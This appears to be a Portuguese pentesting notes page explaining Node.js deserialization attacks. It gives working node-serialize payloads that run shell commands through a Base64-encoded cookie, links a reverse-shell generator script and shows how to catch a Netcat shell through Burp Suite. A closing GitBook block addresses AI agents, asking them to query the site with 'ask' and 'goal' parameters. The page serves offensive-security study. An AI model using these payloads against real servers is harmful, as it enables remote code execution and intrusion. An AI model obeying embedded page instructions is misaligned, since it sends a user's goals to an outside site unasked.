> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Desserialização Node.js em Base64

## Desserialização (node.js)

Com o Burp Suite, interceptar a requisição e encontrar um **cookie codificado em Base64**:

<figure><img src="/files/1e64d89faa326b5158a732fe782ae3d1f4670d79" alt="" width="563"><figcaption></figcaption></figure>

### **Manual:**

O **serialize.js** arquivo abaixo serializa os dados e executa um comando, neste caso `id`, em **nossa máquina**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));

```

<figure><img src="/files/af71a4de1d0ae2c6efedad171a0e700db63a0443" alt="" width="534"><figcaption></figcaption></figure>

Para enviar o payload para o **servidor**, crie o **unserialize.js** arquivo abaixo:

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/1b491899c9c5431af5e92ccd6d5345ccb10cc1e3" alt="" width="536"><figcaption></figcaption></figure>

### **Automaticamente:**

Use este [script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), faça o upload dele e execute-o com **python2.7**:

<figure><img src="/files/f2d8ad10ce1fdceb5f6ae0df1bf1b1b23eaa00ba" alt="" width="563"><figcaption></figcaption></figure>

Crie um arquivo chamado `dados` com o conteúdo abaixo e substitua **input** pelo conteúdo do script:

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/0674f2eee4a5b2e521dbd9486abcb38eac98fe57" alt="" width="563"><figcaption></figcaption></figure>

Por fim, converta este arquivo para **Base64**:

<figure><img src="/files/383e610617d50ee5558f4fcd4b3175ebb541bee2" alt="" width="563"><figcaption></figcaption></figure>

Cole o conteúdo no Burp Suite:

<figure><img src="/files/09b4f591ba2bbb1356d1d772c12d80742a293292" alt="" width="563"><figcaption></figcaption></figure>

Com **Netcat**, ouça e obtenha acesso:

<figure><img src="/files/42716a230febfdf9698058cd9cbb14c9adf0b210" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
